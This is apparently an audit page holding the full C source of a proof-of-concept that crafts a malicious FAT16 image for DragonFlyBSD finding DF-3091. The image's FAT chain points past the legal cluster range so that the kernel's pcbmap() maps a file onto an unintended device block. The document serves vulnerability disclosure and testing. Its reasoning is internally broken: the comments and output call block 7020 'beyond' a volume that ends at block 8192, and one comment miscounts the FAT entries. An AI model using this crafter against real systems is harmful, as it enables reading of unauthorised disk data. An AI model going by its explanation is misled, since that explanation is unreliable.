⬢ DragonFlyBSD Kernel Audit
DF-3091 / craftfat16.c
← back to finding ↓ download raw
/*
 * DF-3091 PoC image crafter: FAT16 volume embedded in a larger device,
 * with a file whose FAT chain points FAR outside the claimed volume.
 *
 * Image layout (all 512-byte sectors):
 *   0        boot sector + BPB: BytesPerSec=512 SecPerClust=1 ResSectors=1
 *            FATs=1 RootDirEnts=16 FATsecs=20 HugeSectors=8192 (4 MiB VOLUME)
 *   1..20    FAT (20 sectors = 10240 entries, capacity 5120 clusters)
 *   21       root directory (16 entries)
 *   22..     data area; firstcluster = 22; HugeSectors = 8192 ->
 *            pm_maxcluster = min(8171, FAT cap 5119) = 5119 (> 4084, so
 *            the mount selects FAT16, not FAT12)
 *
 *   FAT[0]=0xFFF8 FAT[1]=0xFFFF
 *   FAT[2]=7000            <-- LEAK.TXT chain jumps to cluster 7000
 *   FAT[5]=0xFFF8          <-- CTRL.TXT single in-volume cluster
 *
 *   Device is 8 MiB (16384 sectors).  Cluster 7000 maps to device block
 *   cntobn(7000) = firstcluster(22) + (7000-2)*1 = 7020 -> byte 3,594,240,
 *   which is beyond the 4 MiB claimed volume (8192 sectors) on the 8 MiB
 *   device.  We plant a marker there.  pm_maxcluster = 5119, so 7000 is
 *   not a legal cluster, but pcbmap() only masks with pm_fatmask (0xffff)
 *   and checks for the reserved range (>= 0xfff6): 7000 passes both, so
 *   pcbmap() happily returns device block 7020 for file cluster 1 of
 *   LEAK.TXT.
 *
 * build: cc -o craftfat16 craftfat16.c
 * usage: ./craftfat16 df3091.img
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define SECSZ 512
#define NSECT 16384		/* 8 MiB device */
#define HUGE_SECS 8192		/* volume claims 4 MiB */
#define FATSECS 20		/* FAT capacity = 5120 clusters */
#define FIRSTCLUST_BLK 22	/* res(1) + fat(20) + rootdir(1) */
#define MARKBLK 7020		/* cntobn(7000): outside the volume */

static uint8_t img[NSECT * SECSZ];

static void
w16(uint8_t *p, uint16_t v)
{
	p[0] = v & 0xff;
	p[1] = v >> 8;
}

static void
w32(uint8_t *p, uint32_t v)
{
	w16(p, v & 0xffff);
	w16(p + 2, v >> 16);
}

static void
mkdirent(uint8_t *d, const char *nm, uint8_t attr, uint16_t clus,
    uint32_t size)
{
	memset(d, 0, 32);
	memcpy(d, nm, 11);
	d[11] = attr;
	w16(d + 26, clus);
	w32(d + 28, size);
}

int
main(int argc, char **argv)
{
	uint8_t *bs, *fat, *root;
	FILE *f;
	int i;

	if (argc != 2) {
		fprintf(stderr, "usage: %s out.img\n", argv[0]);
		return (1);
	}

	/* ---- boot sector / BPB ---- */
	bs = img;
	bs[0] = 0xEB; bs[1] = 0x3C; bs[2] = 0x90;
	memcpy(bs + 3, "MSDOS5.0", 8);
	w16(bs + 11, SECSZ);		/* BytesPerSec */
	bs[13] = 1;			/* SecPerClust */
	w16(bs + 14, 1);			/* ResSectors */
	bs[16] = 1;			/* FATs */
	w16(bs + 17, 16);		/* RootDirEnts */
	w16(bs + 19, 0);			/* Sectors (use Huge) */
	bs[21] = 0xF8;			/* Media */
	w16(bs + 22, FATSECS);		/* FATsecs */
	w16(bs + 24, 63);		/* SecPerTrack */
	w16(bs + 26, 255);		/* Heads */
	w16(bs + 28, 0);		/* HiddenSecs */
	w32(bs + 32, HUGE_SECS);	/* HugeSectors */
	bs[510] = 0x55; bs[511] = 0xAA;

	/* ---- FAT ---- */
	fat = img + SECSZ;
	w16(fat + 0 * 2, 0xFFF8);	/* FAT[0]: media */
	w16(fat + 1 * 2, 0xFFFF);	/* FAT[1]: clean + reserved */
	w16(fat + 2 * 2, 7000);		/* FAT[2]: LEAK.TXT -> cluster 7000 (!) */
	w16(fat + 5 * 2, 0xFFF8);	/* FAT[5]: CTRL.TXT EOF */

	/* ---- root directory ---- */
	root = img + (1 + FATSECS) * SECSZ;
	mkdirent(root + 0, "LEAK    TXT", 0x20, 2, 2048);
	mkdirent(root + 32, "CTRL    TXT", 0x20, 5, 1024);

	/* ---- in-volume data for the control file (cluster 5 -> blk 25) ---- */
	memset(img + (FIRSTCLUST_BLK + 3) * SECSZ, 'C', SECSZ);
	memcpy(img + (FIRSTCLUST_BLK + 3) * SECSZ,
	    "IN-VOLUME-CONTROL-DATA", 23);

	/* ---- marker OUTSIDE the claimed volume ----
	 * cluster 7000 -> device block 7020 -> byte 3,594,240 */
	memset(img + MARKBLK * SECSZ, 'M', SECSZ);
	memcpy(img + MARKBLK * SECSZ,
	    "DF3091-OUT-OF-VOLUME-MARKER:", 29);
	/* fill with a recognizable repeating pattern */
	for (i = 29; i < SECSZ; i++)
		img[MARKBLK * SECSZ + i] = 'A' + (i % 26);

	f = fopen(argv[1], "wb");
	if (!f) { perror("fopen"); return (1); }
	if (fwrite(img, 1, sizeof(img), f) != sizeof(img)) {
		perror("fwrite"); return (1);
	}
	fclose(f);
	printf("wrote %s: %d sectors (%d claimed by volume, FAT16: maxcluster=5119)\n"
	    "LEAK.TXT cluster 1 -> device block %d (byte %d), volume ends at block %d\n",
	    argv[1], NSECT, HUGE_SECS, MARKBLK, MARKBLK * SECSZ, HUGE_SECS);
	return (0);
}